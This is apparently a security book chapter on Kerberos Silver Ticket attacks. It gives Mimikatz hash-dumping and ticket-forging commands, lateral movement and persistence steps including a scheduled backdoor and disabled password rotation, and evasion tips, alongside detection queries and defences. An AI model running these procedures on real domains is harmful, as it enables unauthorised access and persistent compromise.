Chapter 31: Kerberos Tickets - Silver Ticket Attacks

Introduction

If the Golden Ticket is Kerberos's nuclear option—giving you complete domain dominance—then the Silver Ticket is the precision-guided missile. In my experience, Silver Tickets are often the better choice operationally. They're stealthier, they're more targeted, and they don't require the crown jewels of the domain (the krbtgt hash). All you need is a service account's password hash, and you can forge tickets that grant you access to that specific service.

Here's what makes Silver Tickets so powerful from an attacker's perspective: they bypass the Domain Controller entirely. When you use a legitimate Kerberos ticket or even a Golden Ticket to access a service, there's communication with the KDC. But with a Silver Ticket, you show up at the target server with a forged TGS already in hand. The server validates the ticket using its own key—no DC involvement required. This means no Event ID 4768 (TGT request) or 4769 (TGS request) on the Domain Controller. For SOC teams that focus their detection efforts on DC logs, Silver Tickets are essentially invisible.

I've used Silver Tickets extensively for persistence on high-value systems. Once I have a file server's computer account hash, I can create CIFS tickets that grant me administrator access to that server indefinitely—or at least until the password rotates. And if I'm careful about maintaining my hash after rotations, that access can last for years.

This chapter covers the mechanics of service ticket encryption, how to discover and target Service Principal Names (SPNs), the specific Mimikatz commands for forging Silver Tickets, and the detection strategies that defenders need to implement at the endpoint level to catch these attacks.

Technical Foundation

Understanding Service Ticket Encryption

In the normal Kerberos flow, when you request access to a service, the KDC creates a TGS (Ticket-Granting Service ticket) that includes:

1. Your identity information (username, groups, SID)
2. The PAC (Privilege Attribute Certificate) containing authorization data
3. Session keys for secure communication with the service

This entire ticket is encrypted with the service account's key—not the krbtgt key. The service account could be:

• A computer account (e.g., FILESERVER$) for system services
• A user account (e.g., svc_sql) for application services

The Silver Ticket Insight

Here's the critical insight: if you have the service account's key, you can create your own TGS tickets. The target service has no way to know whether the KDC actually issued the ticket or whether you forged it yourself. The encryption math checks out, so the ticket is accepted.

Normal Kerberos:
Client → KDC: "I need a ticket for CIFS/fileserver"
KDC → Client: [TGS encrypted with fileserver$ hash]
Client → Server: [Presents TGS]
Server: Decrypts with own hash, validates, grants access

Silver Ticket Attack:
Attacker: Creates TGS, encrypts with fileserver$ hash
Attacker → Server: [Presents forged TGS]
Server: Decrypts with own hash, validates, grants access
(KDC was never involved!)

Service Principal Names (SPNs)

To forge a ticket for a service, you need to know how to address it. SPNs are the unique identifiers for services in Active Directory.

SPN Format:

service_class/hostname[:port][/service_name]

Examples:
CIFS/fileserver.corp.local         (File shares)
HOST/server01.corp.local           (Host services - WMI, PSRemoting, etc.)
MSSQLSvc/sqlserver.corp.local:1433 (SQL Server)
HTTP/webserver.corp.local          (Web services)
TERMSRV/rdpserver.corp.local       (Terminal Services/RDP)
ldap/dc01.corp.local               (LDAP)

SPN to Account Mapping:

SPN Type	Typically Runs As	Hash Source
CIFS, HOST, LDAP, DNS	Computer account (SERVER$)	LSA Secrets ($MACHINE.ACC)
MSSQLSvc	Dedicated service account	LSA Secrets (_SC_MSSQLSERVER)
HTTP	App pool identity or service account	LSA Secrets or Kerberoasting
TERMSRV	Computer account	LSA Secrets ($MACHINE.ACC)

PAC (Privilege Attribute Certificate)

The PAC is embedded in the Kerberos ticket and contains:

• User SID
• Group memberships
• User account control flags
• Other authorization information

When you forge a Silver Ticket, you control the PAC. This means you can claim to be any user with any group memberships. Typically, attackers add the following groups to their forged PAC:

• Domain Admins (S-1-5-21-...-512)
• Enterprise Admins (S-1-5-21-...-519)
• Schema Admins (S-1-5-21-...-518)
• Built-in Administrators (S-1-5-32-544)

Encryption Types and Keys

Silver Tickets can be encrypted with different key types:

Encryption Type	EType	Key Required
RC4-HMAC	0x17 (23)	NTLM hash
AES-128	0x11 (17)	AES-128 key
AES-256	0x12 (18)	AES-256 key

OPSEC Note: Using AES keys is stealthier because RC4 tickets in an AES-dominant environment are anomalous and may trigger alerts.

Command Reference

kerberos::golden (Silver Ticket Mode)

Mimikatz uses the same command for both Golden and Silver Tickets. The presence of /service and /target parameters makes it a Silver Ticket.

Syntax:

mimikatz # kerberos::golden /user:<username> /domain:<domain> /sid:<domain_sid> /target:<target_fqdn> /service:<service_type> /rc4:<hash>|/aes256:<key> [/id:<rid>] [/groups:<group_ids>] [/ptt] [/ticket:<path>]

Parameters:

Parameter	Required	Description
/user:	Yes	Username to impersonate (any name)
/domain:	Yes	Domain FQDN (e.g., corp.local)
/sid:	Yes	Domain SID (S-1-5-21-...)
/target:	Yes	Target server FQDN (e.g., server.corp.local)
/service:	Yes	Service type (CIFS, HOST, MSSQLSvc, etc.)
/rc4:	*	NTLM hash of service account
/aes128:	*	AES-128 key of service account
/aes256:	*	AES-256 key of service account
/id:	No	User RID (default: 500 for Administrator)
/groups:	No	Group RIDs (default: 513,512,520,518,519)
/ptt	No	Pass-The-Ticket (inject into current session)
/ticket:	No	Save ticket to file instead of injecting
/startoffset:	No	Ticket start time offset in minutes
/endin:	No	Ticket lifetime in minutes (default: 600)
/renewmax:	No	Maximum renewal time in minutes

*At least one key parameter is required.

Example: CIFS Silver Ticket for File Server Access

Step 1: Obtain the Computer Account Hash

From the target server's LSA Secrets:

mimikatz # lsadump::secrets

Secret  : $MACHINE.ACC
    NTLM:a8d6e2c9f5b7a3d1c4e6f8a0b2d4f6a8

Or via DCSync (if you have the rights):

mimikatz # lsadump::dcsync /domain:corp.local /user:FILESERVER$

Step 2: Get the Domain SID

mimikatz # lsadump::lsa /inject /name:krbtgt

Domain : CORP / S-1-5-21-1234567890-1234567890-1234567890

Step 3: Forge the Silver Ticket

mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:fileserver.corp.local /service:CIFS /rc4:a8d6e2c9f5b7a3d1c4e6f8a0b2d4f6a8 /ptt

User      : Administrator
Domain    : corp.local (CORP)
SID       : S-1-5-21-1234567890-1234567890-1234567890
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: a8d6e2c9f5b7a3d1c4e6f8a0b2d4f6a8 - rc4_hmac_nt
Service   : CIFS
Target    : fileserver.corp.local
Lifetime  : 2/5/2026 9:00:00 AM ; 2/5/2036 9:00:00 AM ; 2/5/2036 9:00:00 AM
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'Administrator @ corp.local' successfully submitted for current session

Step 4: Access the Target

C:\> dir \\fileserver.corp.local\c$

 Volume in drive \\fileserver.corp.local\c$ has no label.
 Directory of \\fileserver.corp.local\c$

02/05/2026  09:30 AM    <DIR>          Program Files
02/05/2026  09:30 AM    <DIR>          Windows
...

Common SPN Targets and Use Cases

CIFS - File Share Access

Purpose: Full access to SMB shares, including administrative shares (C$, ADMIN$)

Command:

mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /target:server.corp.local /service:CIFS /rc4:<hash> /ptt

Access:

dir \\server.corp.local\c$
copy payload.exe \\server.corp.local\c$\temp\

HOST - Remote Management

Purpose: WMI, PowerShell Remoting, Scheduled Tasks, SCM

Command:

mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /target:server.corp.local /service:HOST /rc4:<hash> /ptt

Access:

# Scheduled task execution
schtasks /create /s server.corp.local /tn "Update" /tr "cmd /c whoami > c:\temp\out.txt" /sc once /st 00:00 /ru SYSTEM

# WMI execution
wmic /node:server.corp.local process call create "cmd.exe /c whoami > c:\temp\out.txt"

MSSQLSvc - SQL Server Access

Purpose: Sysadmin access to SQL Server

Command:

mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /target:sqlserver.corp.local /service:MSSQLSvc /rc4:<hash> /ptt

Access:

sqlcmd -S sqlserver.corp.local -Q "SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER('sysadmin');"

TERMSRV - RDP Access

Purpose: Remote Desktop access without password

Command:

mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /target:server.corp.local /service:TERMSRV /rc4:<hash> /ptt

Access:

mstsc /v:server.corp.local

Note: TERMSRV Silver Tickets may require additional services (HOST, CIFS) depending on the RDP configuration.

HTTP - Web Service Access

Purpose: Access to web applications using Kerberos authentication

Command:

mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /target:webserver.corp.local /service:HTTP /rc4:<hash> /ptt

Using AES Keys for Stealth

Extract AES Keys:

mimikatz # lsadump::dcsync /domain:corp.local /user:FILESERVER$

Object RDN           : FILESERVER$
...
Credentials:
  Hash NTLM: a8d6e2c9f5b7a3d1c4e6f8a0b2d4f6a8
Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
    Default Salt : CORP.LOCALhostfileserver.corp.local
    Default Iterations : 4096
    Credentials
      aes256_hmac: 4a3c8e9f2d1b0a7c6e5f4d3c2b1a0987654321fedcba0987654321fedcba09
      aes128_hmac: 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d

Forge with AES-256:

mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /target:fileserver.corp.local /service:CIFS /aes256:4a3c8e9f2d1b0a7c6e5f4d3c2b1a0987654321fedcba0987654321fedcba09 /ptt

Attack Scenarios

Scenario 1: Stealthy Lateral Movement

Context: You've compromised a workstation and extracted a file server's computer account hash via DCSync. You want to move to the file server without touching the DC.

Step 1: Extract the Hash (from compromised workstation with DCSync rights)

mimikatz # lsadump::dcsync /domain:corp.local /user:FILESERVER$
    Hash NTLM: a8d6e2c9f5b7a3d1c4e6f8a0b2d4f6a8

Step 2: Forge CIFS Silver Ticket

mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /target:fileserver.corp.local /service:CIFS /rc4:a8d6e2c9f5b7a3d1c4e6f8a0b2d4f6a8 /ptt

Step 3: Access the File Server

copy backdoor.exe \\fileserver.corp.local\c$\windows\temp\

Step 4: Forge HOST Silver Ticket for Execution

mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /target:fileserver.corp.local /service:HOST /rc4:a8d6e2c9f5b7a3d1c4e6f8a0b2d4f6a8 /ptt

Step 5: Execute via Scheduled Task

schtasks /create /s fileserver.corp.local /tn "WindowsUpdate" /tr "c:\windows\temp\backdoor.exe" /sc once /st 00:00 /ru SYSTEM /f
schtasks /run /s fileserver.corp.local /tn "WindowsUpdate"

Result: You're now on the file server, and the DC never saw any Kerberos ticket requests.

Scenario 2: Persistent Access to SQL Server

Context: You've compromised the SQL service account hash. You want persistent access even if user passwords are changed.

Step 1: Identify SQL Service Account

setspn -Q MSSQLSvc/*

MSSQLSvc/sqlserver.corp.local:1433
    Registered to: svc_sql

Step 2: Extract Service Account Hash

mimikatz # lsadump::dcsync /domain:corp.local /user:svc_sql
    Hash NTLM: 5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d

Step 3: Forge MSSQLSvc Silver Ticket

mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /target:sqlserver.corp.local /service:MSSQLSvc /rc4:5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d /ptt

Step 4: Access SQL Server

sqlcmd -S sqlserver.corp.local -Q "SELECT * FROM master..syslogins"

Persistence: As long as the service account password doesn't change, this ticket can be regenerated indefinitely.

Scenario 3: Extending Ticket Lifetime

Context: You want a Silver Ticket that lasts for months or years.

Forge with Extended Lifetime (10 years):

mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /target:server.corp.local /service:CIFS /rc4:<hash> /endin:5256000 /renewmax:5256000 /ticket:silver_10year.kirbi

Note: The /endin and /renewmax parameters are in minutes. 5256000 minutes ≈ 10 years.

Scenario 4: Disabling Password Rotation for Permanent Access

Context: You have admin access on the target server and want to prevent the computer account password from rotating.

Disable Password Rotation:

reg add "HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" /v DisablePasswordChange /t REG_DWORD /d 1 /f

Result: The computer account password will never change automatically, making your Silver Ticket permanent.

Detection Risk: This registry modification is highly suspicious and should be monitored.

Detection and IOCs

The Challenge: No DC Visibility

Silver Tickets bypass the KDC, which means:

• No Event ID 4768 (TGT Request)
• No Event ID 4769 (TGS Request)
• No DC-level Kerberos logging

Detection must happen at the endpoint (target server).

Endpoint Event Log Detection

Event ID 4624 - Logon Success

When a Silver Ticket is used, the target server logs a logon event.

Key Fields to Monitor:

Field	Normal	Silver Ticket Indicator
TargetDomainName	NetBIOS (CORP)	FQDN (CORP.LOCAL)
LogonProcessName	Kerberos	Kerberos
AuthenticationPackageName	Kerberos	Kerberos

Detection Logic:

• Alert on Type 3 (Network) logons where TargetDomainName contains a dot (FQDN format)
• This occurs because Silver Tickets encode the domain as FQDN

Sample Event:

<Event>
  <System>
    <EventID>4624</EventID>
    <Computer>fileserver.corp.local</Computer>
  </System>
  <EventData>
    <Data Name="TargetUserName">Administrator</Data>
    <Data Name="TargetDomainName">CORP.LOCAL</Data>
    <Data Name="LogonType">3</Data>
    <Data Name="LogonProcessName">Kerberos</Data>
  </EventData>
</Event>

Event ID 4634/4647 - Logoff

Correlate logon and logoff events to identify Silver Ticket sessions.

Correlation-Based Detection

No Corresponding TGS Request:

For every legitimate service access, there should be:

1. Event ID 4769 on DC (TGS request)
2. Event ID 4624 on target server (logon)

Silver Tickets only generate #2. Look for logon events without corresponding TGS requests.

Query Logic:

For each 4624 on server:
  Check DC logs for 4769 with:
    - Same user
    - Same service
    - Within time window
  If not found: Potential Silver Ticket

Encryption Downgrade Detection

Alert on RC4 Tickets in AES Environment:

If your environment uses AES exclusively, an RC4 Silver Ticket will stand out.

Event ID 4624 Field:

KeyLength: 0x0 (may indicate RC4)

Compare with normal AES sessions to establish baseline.

Ticket Anomaly Detection

PAC Validation Failures (if PAC validation is enabled):

Event ID 4769 with failure code indicating PAC validation failure can indicate forged tickets. However, this requires server-to-DC communication, which doesn't occur with Silver Tickets unless PAC validation is specifically configured.

Network-Based Detection

Indicator	Description
No AS-REQ/AS-REP	User accessing service without TGT
No TGS-REQ/TGS-REP	Service access without TGS request
Unusual encryption types	RC4 in AES environment

Limitation: Network detection requires Kerberos traffic inspection, which is complex.

High-Signal Telemetry Recommendations

1. Collect endpoint logs centrally: Event ID 4624 from all servers
2. Monitor domain format in logons: Alert on FQDN domain names
3. Correlate DC and endpoint events: Flag logons without TGS requests
4. Watch for password rotation disabling: Monitor the DisablePasswordChange registry key
5. Track service account anomalies: Alert if service accounts access unexpected systems

Defensive Strategies

1. Deploy Group Managed Service Accounts (gMSAs)

gMSAs are the most effective defense against Silver Tickets for application services.

Characteristics:

• 240-character random passwords
• Automatic rotation (default 30 days)
• Password only retrievable by authorized computers
• Effectively impossible to crack or steal for offline use

Impact: If a service uses gMSA, an attacker cannot extract a usable hash to forge Silver Tickets.

2. Implement Least Privilege for Service Accounts

Even if an attacker forges a Silver Ticket, limit what they can access:

• Service accounts should not be Domain Admins
• Use dedicated accounts per service
• Grant minimum necessary permissions
• Deny interactive logon rights

3. Enable PAC Validation

Configure services to validate the PAC with the DC:

# Group Policy or Registry
KdcValidation = 1

Impact: Services will contact the DC to validate PAC signatures, which would fail for forged tickets.

Caveat: This adds latency and DC dependency, which may not be acceptable for all environments.

4. Centralize Endpoint Security Logs

You cannot detect Silver Tickets without endpoint logs:

• Forward Event ID 4624 from all servers to SIEM
• Include workstations in logging scope
• Ensure log integrity and retention

5. Monitor for Password Rotation Disabling

Alert on:

HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1

This is a clear indicator of persistence attempt.

6. Reduce Computer Account Password Age

Default rotation is 30 days. Consider reducing:

# Group Policy: Domain Member: Maximum machine account password age

Shorter rotation = shorter Silver Ticket validity.

7. Implement Network Segmentation

Limit which systems can access sensitive services:

• SQL servers only accessible from app servers
• File servers only accessible from authorized workstations
• Use host-based firewalls

8. Regular Credential Audits

Periodically rotate service account passwords:

• Invalidates any stolen hashes
• Forces attackers to re-compromise
• Consider automated rotation tools

Comparison: Silver Ticket vs. Golden Ticket

Aspect	Silver Ticket	Golden Ticket
Key Required	Service account hash	krbtgt hash
Scope	Single service on single host	Entire domain
DC Involvement	None	None (but may validate PAC)
Detection Difficulty	High (endpoint-only)	Medium (PAC validation, anomalies)
Persistence Duration	Until service account password changes	Until krbtgt rotates twice
Common Sources	LSA Secrets, DCSync, Kerberoasting	DCSync, NTDS.dit
Stealth	Very high	High

When to Use Silver Ticket

• Targeting specific high-value services
• Avoiding DC-level detection
• Maintaining access to single system
• When you don't have krbtgt hash

When to Use Golden Ticket

• Need domain-wide access
• Want to impersonate any user to any service
• Building persistent domain compromise

Operational Considerations

OPSEC Implications

Action	Detection Risk	Notes
Using RC4 Silver Ticket	Medium	May trigger encryption downgrade alerts
Using AES Silver Ticket	Low	Blends with normal traffic
CIFS access	Low	Common legitimate access
HOST for code execution	Medium	Task creation may be logged
Disabling password rotation	High	Registry change is obvious

Best Practices

1. Use AES keys when available: Better OPSEC than RC4
2. Match ticket parameters to environment: Use realistic lifetimes
3. Target computer accounts: They're everywhere and often forgotten
4. Combine with legitimate activity: Don't access 50 servers in 5 minutes
5. Maintain hash freshness: Re-extract after password rotations

Common Failure Modes

Error	Cause	Solution
KRB_AP_ERR_MODIFIED	Wrong hash or domain	Verify hash and domain SID
KRB_AP_ERR_TKT_EXPIRED	Ticket expired	Increase /endin parameter
Access denied	Wrong SPN	Verify service name exactly
Clock skew	Time difference >5 minutes	Sync time with target
PAC validation failed	PAC validation enabled	Use Golden Ticket instead

The 30-Day Window

Computer accounts rotate passwords every 30 days by default:

• Silver Tickets become invalid after rotation
• Re-extract hash to maintain access
• Or disable rotation (high detection risk)

User service accounts often have static passwords:

• May never rotate
• Better long-term persistence target
• But may trigger Kerberoasting alerts to obtain

Practical Lab Exercises

Exercise 1: Basic CIFS Silver Ticket

Objective: Forge a Silver Ticket for file share access.

Steps:

1. Extract the target server's computer account hash:

   mimikatz # lsadump::dcsync /domain:lab.local /user:FILESERVER$

2. Get the domain SID:

   mimikatz # lsadump::lsa /inject /name:krbtgt

3. Forge the Silver Ticket:

   mimikatz # kerberos::golden /user:TestAdmin /domain:lab.local /sid:<SID> /target:fileserver.lab.local /service:CIFS /rc4:<hash> /ptt

4. Verify ticket is loaded:

   klist

5. Access the file server:

   dir \\fileserver.lab.local\c$

Expected Result: Directory listing of C$ despite not being authenticated as Administrator.

Exercise 2: HOST Silver Ticket for Code Execution

Objective: Use HOST Silver Ticket for remote code execution.

Steps:

1. Forge HOST Silver Ticket:

   mimikatz # kerberos::golden /user:TestAdmin /domain:lab.local /sid:<SID> /target:server.lab.local /service:HOST /rc4:<hash> /ptt

2. Create a scheduled task:

   schtasks /create /s server.lab.local /tn "TestTask" /tr "cmd /c whoami > c:\temp\who.txt" /sc once /st 00:00 /ru SYSTEM

3. Run the task:

   schtasks /run /s server.lab.local /tn "TestTask"

4. Verify execution (requires CIFS ticket):

   type \\server.lab.local\c$\temp\who.txt

Exercise 3: Detection Validation

Objective: Verify you can detect Silver Tickets.

Steps:

1. Use a Silver Ticket to access a server

2. On the target server, check Event Viewer:

   • Security log
   • Event ID 4624

3. Note the TargetDomainName field:

   • Should show FQDN (e.g., LAB.LOCAL) instead of NetBIOS (LAB)

4. Check the DC for corresponding Event ID 4769:

   • There should be NO matching TGS request
   • This indicates a forged ticket

Exercise 4: AES vs. RC4 Comparison

Objective: Compare OPSEC implications of different encryption types.

Steps:

1. Extract both NTLM and AES keys:

   mimikatz # lsadump::dcsync /domain:lab.local /user:SERVER$

2. Forge RC4 ticket:

   mimikatz # kerberos::golden ... /rc4:<hash> /ticket:silver_rc4.kirbi

3. Forge AES-256 ticket:

   mimikatz # kerberos::golden ... /aes256:<key> /ticket:silver_aes.kirbi

4. Use each ticket and compare:

   • Check encryption type in klist output
   • Check Event ID 4624 on target
   • Note differences that could be used for detection

Summary

Silver Tickets are a powerful and stealthy persistence mechanism for Kerberos environments:

• Service-specific forgery: Target individual services without domain-wide compromise
• DC bypass: No KDC involvement means no DC-level detection
• Hash requirement: Only need the service account's key, not krbtgt
• Common targets: CIFS, HOST, MSSQLSvc, TERMSRV, HTTP
• 30-day window: Computer accounts rotate; user accounts often don't
• Detection challenge: Requires endpoint-level log analysis
• gMSAs are the answer: They make Silver Tickets impractical for protected services

For attackers, Silver Tickets offer surgical precision and excellent stealth. For defenders, endpoint log collection and correlation with DC events are essential. Without visibility into what's happening on your servers, Silver Tickets will remain invisible.

---

Next: Chapter 32: KerberoastingPrevious: Chapter 30: Golden Ticket